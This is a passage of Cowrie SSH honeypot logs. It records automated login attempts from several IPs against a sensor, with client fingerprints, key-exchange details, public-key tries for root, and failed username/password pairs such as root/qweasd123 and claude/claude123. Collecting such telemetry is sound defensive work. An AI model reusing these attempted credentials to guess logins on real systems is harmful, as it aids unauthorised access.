failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:24:16.599158Z","src_ip":"160.238.24.130","session":"29aef8c4731f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:c0:d6:0d:ee:be:53:d4:15:43:39:ae:3d:b7:e9:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDfregNRV95K2ZQV6XOpLl0wxL0elWzAexkiZ6dvV2nrCLaA+kyxl+x3WlEGkT3BLISjgQTSHDxl6dZqKhrjXtBF4SIiyqDzTxR31BhlqirJR7kTnx/lN8swsYFQpBa5ZZ/5SPzPVYA0odPD7UfYXBJd/1BF7ORm6YNAQMWeTpDl4ceBVlFlASszOo1tx/RiXaYhY2eWYYlE+X+dpnBm7BZbC4BluA0lyBHvVY/jLJMvzOz+rgKtqCnw5NTU0Kpt1hyXgkV3HkJbEOk349xs8f2TOV1IFN5MPJ/JmtHhsVWh/PxFn2DSXXCXd6YBugsvCxnaC93YoWlSPl+kH4rHMOauJ1xWX9+dW/mHl8oIVkuoFc5iKPDExgALxorRjOf4YurIVfiJ7BRIvgx9Kz+hr8LJJNcJKgwWy7r0NS6+D6XbsqRZ2NR6Qeb9q5wSaBblrMjfvFp/tECW5X9XTtlKF5rGmm3muyEGSayrAd95+PaxxJ5aTVZ9x3cJ5mQZ8hNtZE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1b:c0:d6:0d:ee:be:53:d4:15:43:39:ae:3d:b7:e9:73","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:24:16.729923Z","src_ip":"160.238.24.130","session":"29aef8c4731f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:c0:d6:0d:ee:be:53:d4:15:43:39:ae:3d:b7:e9:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDfregNRV95K2ZQV6XOpLl0wxL0elWzAexkiZ6dvV2nrCLaA+kyxl+x3WlEGkT3BLISjgQTSHDxl6dZqKhrjXtBF4SIiyqDzTxR31BhlqirJR7kTnx/lN8swsYFQpBa5ZZ/5SPzPVYA0odPD7UfYXBJd/1BF7ORm6YNAQMWeTpDl4ceBVlFlASszOo1tx/RiXaYhY2eWYYlE+X+dpnBm7BZbC4BluA0lyBHvVY/jLJMvzOz+rgKtqCnw5NTU0Kpt1hyXgkV3HkJbEOk349xs8f2TOV1IFN5MPJ/JmtHhsVWh/PxFn2DSXXCXd6YBugsvCxnaC93YoWlSPl+kH4rHMOauJ1xWX9+dW/mHl8oIVkuoFc5iKPDExgALxorRjOf4YurIVfiJ7BRIvgx9Kz+hr8LJJNcJKgwWy7r0NS6+D6XbsqRZ2NR6Qeb9q5wSaBblrMjfvFp/tECW5X9XTtlKF5rGmm3muyEGSayrAd95+PaxxJ5aTVZ9x3cJ5mQZ8hNtZE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:24:16.734284Z","src_ip":"160.238.24.130","session":"29aef8c4731f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:24:16.869817Z","src_ip":"160.238.24.130","session":"29aef8c4731f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.17.27","src_port":58288,"dst_ip":"159.203.135.109","dst_port":22,"session":"a584d2043977","protocol":"ssh","message":"New connection: 43.156.17.27:58288 (159.203.135.109:22) [session: a584d2043977]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:24:31.915098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:24:31.919164Z","src_ip":"43.156.17.27","session":"a584d2043977","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:24:32.164612Z","src_ip":"43.156.17.27","session":"a584d2043977","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweasd123","message":"login attempt [root/qweasd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:24:33.180674Z","src_ip":"43.156.17.27","session":"a584d2043977","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:24:34.430003Z","src_ip":"43.156.17.27","session":"a584d2043977","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.225.76","src_port":48210,"dst_ip":"10.17.0.5","dst_port":22,"session":"5344014df113","protocol":"ssh","message":"New connection: 15.204.225.76:48210 (10.17.0.5:22) [session: 5344014df113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:24:46.398501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:24:46.413423Z","src_ip":"15.204.225.76","session":"5344014df113","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:24:46.420841Z","src_ip":"15.204.225.76","session":"5344014df113","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:24:46.573152Z","src_ip":"15.204.225.76","session":"5344014df113","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:24:47.714432Z","src_ip":"15.204.225.76","session":"5344014df113","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.90.78","src_port":41858,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b38f116d4ef","protocol":"ssh","message":"New connection: 43.173.90.78:41858 (159.203.135.109:22) [session: 5b38f116d4ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:25:11.425000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:25:11.430031Z","src_ip":"43.173.90.78","session":"5b38f116d4ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:25:11.502719Z","src_ip":"43.173.90.78","session":"5b38f116d4ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zc123456!","message":"login attempt [root/Zc123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:25:11.809615Z","src_ip":"43.173.90.78","session":"5b38f116d4ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:25:12.881799Z","src_ip":"43.173.90.78","session":"5b38f116d4ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.135.70.18","src_port":34690,"dst_ip":"10.17.0.5","dst_port":22,"session":"d462231a76ef","protocol":"ssh","message":"New connection: 148.135.70.18:34690 (10.17.0.5:22) [session: d462231a76ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:25:28.339725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:25:28.344636Z","src_ip":"148.135.70.18","session":"d462231a76ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:25:28.413458Z","src_ip":"148.135.70.18","session":"d462231a76ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8e:12:1d:32:42:ae:ba:b3:16:f2:1a:5a:a1:37:9a:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0WNgBaFDlokm7RRajrbMyQhOEtVIQLHpXFOTt/v//2haCVA6G3xEOa4tj8gj4RNIRwJ+ABNqcohhNN059+4b6PH4tsg+azr/1hAMnMDNXc7hZ3SbBu8VCda/wksjvHFgcE8LaXhz75tl1fZ9h9pAUNdBzBVg0dYFxShsXFKu53n09RDYeYaardQcBvJW5kmYVACRknj1jtlT3/qlp7OghtGdiM2d5FQnpa4tbKnsMBjjTXFtl6VEFbB3bz6msPy/IFxjE7KH1Us2XEC6142pgcXrwTpHNwaD7Sr+PltNSIT8sAOW4UFvDT8nilVx0AUT8NtsSyw66ZbH8Tf3xmgG/w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8e:12:1d:32:42:ae:ba:b3:16:f2:1a:5a:a1:37:9a:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:25:28.731686Z","src_ip":"148.135.70.18","session":"d462231a76ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8e:12:1d:32:42:ae:ba:b3:16:f2:1a:5a:a1:37:9a:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0WNgBaFDlokm7RRajrbMyQhOEtVIQLHpXFOTt/v//2haCVA6G3xEOa4tj8gj4RNIRwJ+ABNqcohhNN059+4b6PH4tsg+azr/1hAMnMDNXc7hZ3SbBu8VCda/wksjvHFgcE8LaXhz75tl1fZ9h9pAUNdBzBVg0dYFxShsXFKu53n09RDYeYaardQcBvJW5kmYVACRknj1jtlT3/qlp7OghtGdiM2d5FQnpa4tbKnsMBjjTXFtl6VEFbB3bz6msPy/IFxjE7KH1Us2XEC6142pgcXrwTpHNwaD7Sr+PltNSIT8sAOW4UFvDT8nilVx0AUT8NtsSyw66ZbH8Tf3xmgG/w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:25:28.735373Z","src_ip":"148.135.70.18","session":"d462231a76ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"15:09:07:07:bf:64:10:05:49:f7:3b:9f:2a:6c:ae:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCNeIzvNh0xpr7T9jRaqaL6mYm1aR0+9qT26i6auKNChEMPAXUsNBF4VTQSq6URq1QYeDWo3noWMwnUCkcdTk7hoIA3mbVohnysUVODvlc9KKqkxKvnwLAJfIfy8sCdsegKx5e+uVkOewbwwbmNdw8GkNdBadJpEEf1lC6rShMXC2QQ7ganzCTK4xpvq71rBEETA09PkYF0T7FBs2JMxZh1e/EwSS7BmuZUQr4IMgqn9zJPwNA1KGrnTyD8/5wDt0bCwjs4dHAoRSmcO3DFVmEHLuU9EE83InQfR3DLsTPUkpVI3wIlk/7rBqYyXTSuECB8NTNjMcPvGaxhsrJ9FFwJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 15:09:07:07:bf:64:10:05:49:f7:3b:9f:2a:6c:ae:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:25:28.804195Z","src_ip":"148.135.70.18","session":"d462231a76ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"15:09:07:07:bf:64:10:05:49:f7:3b:9f:2a:6c:ae:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCNeIzvNh0xpr7T9jRaqaL6mYm1aR0+9qT26i6auKNChEMPAXUsNBF4VTQSq6URq1QYeDWo3noWMwnUCkcdTk7hoIA3mbVohnysUVODvlc9KKqkxKvnwLAJfIfy8sCdsegKx5e+uVkOewbwwbmNdw8GkNdBadJpEEf1lC6rShMXC2QQ7ganzCTK4xpvq71rBEETA09PkYF0T7FBs2JMxZh1e/EwSS7BmuZUQr4IMgqn9zJPwNA1KGrnTyD8/5wDt0bCwjs4dHAoRSmcO3DFVmEHLuU9EE83InQfR3DLsTPUkpVI3wIlk/7rBqYyXTSuECB8NTNjMcPvGaxhsrJ9FFwJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:25:28.812859Z","src_ip":"148.135.70.18","session":"d462231a76ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"97:75:e9:d1:5e:03:8a:1c:5f:0f:bc:f9:40:f1:53:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCLcy4RNeKq4n7u82AeAy7hj4nI3vwKt3YvxpB/B8R4xBzxkmcpg7VuhMAUjP47tp8yiZbE1+VqeLPAJbkbEviWmIcBuL8heBnBe7IJlnoBqpNa2LpmquySmgVyoCUobDhZjBkMqHb6cfVzbC5BegKFYPjDAMkQhB7ZYHzv5+kEPrRWcVrqHntu/aJAcSA+RF9U+HF+yrZbYgwFsml/NRwZ9U+ksmiLLWbbK9NCHmoaiPCgFG+QwUy5hd2OZnKDRtE0aQaZujl+X9NJkfUDXGsW2CW4bFTSTsEE9Bxo0XMmgkBC6XvJvuwyZN2dFyq9scG6pmDV6tWpwPIOovdRVS2N","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 97:75:e9:d1:5e:03:8a:1c:5f:0f:bc:f9:40:f1:53:a5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:25:28.881410Z","src_ip":"148.135.70.18","session":"d462231a76ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"97:75:e9:d1:5e:03:8a:1c:5f:0f:bc:f9:40:f1:53:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCLcy4RNeKq4n7u82AeAy7hj4nI3vwKt3YvxpB/B8R4xBzxkmcpg7VuhMAUjP47tp8yiZbE1+VqeLPAJbkbEviWmIcBuL8heBnBe7IJlnoBqpNa2LpmquySmgVyoCUobDhZjBkMqHb6cfVzbC5BegKFYPjDAMkQhB7ZYHzv5+kEPrRWcVrqHntu/aJAcSA+RF9U+HF+yrZbYgwFsml/NRwZ9U+ksmiLLWbbK9NCHmoaiPCgFG+QwUy5hd2OZnKDRtE0aQaZujl+X9NJkfUDXGsW2CW4bFTSTsEE9Bxo0XMmgkBC6XvJvuwyZN2dFyq9scG6pmDV6tWpwPIOovdRVS2N","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:25:28.885608Z","src_ip":"148.135.70.18","session":"d462231a76ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a3:31:1a:ca:31:32:68:11:06:07:e7:3c:74:94:6e:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzVLqs9aK518kgKxVHsS8N+czp/6Dv07YIebHzJ/pWqFjBP54d/VElUI/B948VZWrRd2858rDi0dhTW4JibwCEI8qtF62Ew0laQr6DO9YeJo7VKmLuopWdzfsf1WiKTYCP31RHYFwDh4jz12lSbJdPHMRgWd5QRGkxhweWCAF8dib5V21dz4uJ/4LxGGBXSThrj3lcUXX/AFvjXttSoKyuyK4e24WPsQojv4tPqM531XlRvq2XXHAc+31TUTU03wJTKdUrjlhUNc75oiCH0Epcyz3z1DX8EP9rYRe8F0SGNB07cAWbLeugvRd1TepCVQW+egoQS+NnBi0mqqc5NmJ3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a3:31:1a:ca:31:32:68:11:06:07:e7:3c:74:94:6e:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:25:28.954705Z","src_ip":"148.135.70.18","session":"d462231a76ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a3:31:1a:ca:31:32:68:11:06:07:e7:3c:74:94:6e:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzVLqs9aK518kgKxVHsS8N+czp/6Dv07YIebHzJ/pWqFjBP54d/VElUI/B948VZWrRd2858rDi0dhTW4JibwCEI8qtF62Ew0laQr6DO9YeJo7VKmLuopWdzfsf1WiKTYCP31RHYFwDh4jz12lSbJdPHMRgWd5QRGkxhweWCAF8dib5V21dz4uJ/4LxGGBXSThrj3lcUXX/AFvjXttSoKyuyK4e24WPsQojv4tPqM531XlRvq2XXHAc+31TUTU03wJTKdUrjlhUNc75oiCH0Epcyz3z1DX8EP9rYRe8F0SGNB07cAWbLeugvRd1TepCVQW+egoQS+NnBi0mqqc5NmJ3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:25:28.959290Z","src_ip":"148.135.70.18","session":"d462231a76ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b7:59:85:1f:35:ec:bb:3f:72:fd:10:00:f5:12:d0:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6kKfHKdSlZXZQA0MI0U9gPyKv1QoQrYzOCchNOte1keaNW9m+5iXdbDCRKDHjDhv5sIvIa6Kl4SeTVGDml8Le2DrjW8IIYkaiAIAYtIhl+HzNrpLI1pBv51bpIK34pq1t3Ggo9z6v+ESpNX3goCjgFGUpmFsVuvYYf/m4SiUe96tSOswFWtuLNw60mdwZ0lb4vfcJdEm9uFvPo2Nx5FlrQbOCfBg3sn9qQ/vZL89fKKWfrXLcGCtLQZaCKvAN61uVfhKdwsAMnR6UL/ceVXGz7BWDAgvuno1I6dsKy6JaqHZHKKPNe9W8vGlXHXhFg4WK5Dx8AbJ7Eh1ijFVcjydR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b7:59:85:1f:35:ec:bb:3f:72:fd:10:00:f5:12:d0:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:25:29.029188Z","src_ip":"148.135.70.18","session":"d462231a76ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b7:59:85:1f:35:ec:bb:3f:72:fd:10:00:f5:12:d0:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6kKfHKdSlZXZQA0MI0U9gPyKv1QoQrYzOCchNOte1keaNW9m+5iXdbDCRKDHjDhv5sIvIa6Kl4SeTVGDml8Le2DrjW8IIYkaiAIAYtIhl+HzNrpLI1pBv51bpIK34pq1t3Ggo9z6v+ESpNX3goCjgFGUpmFsVuvYYf/m4SiUe96tSOswFWtuLNw60mdwZ0lb4vfcJdEm9uFvPo2Nx5FlrQbOCfBg3sn9qQ/vZL89fKKWfrXLcGCtLQZaCKvAN61uVfhKdwsAMnR6UL/ceVXGz7BWDAgvuno1I6dsKy6JaqHZHKKPNe9W8vGlXHXhFg4WK5Dx8AbJ7Eh1ijFVcjydR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:25:29.033091Z","src_ip":"148.135.70.18","session":"d462231a76ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:25:29.101257Z","src_ip":"148.135.70.18","session":"d462231a76ef","protocol":"ssh"}
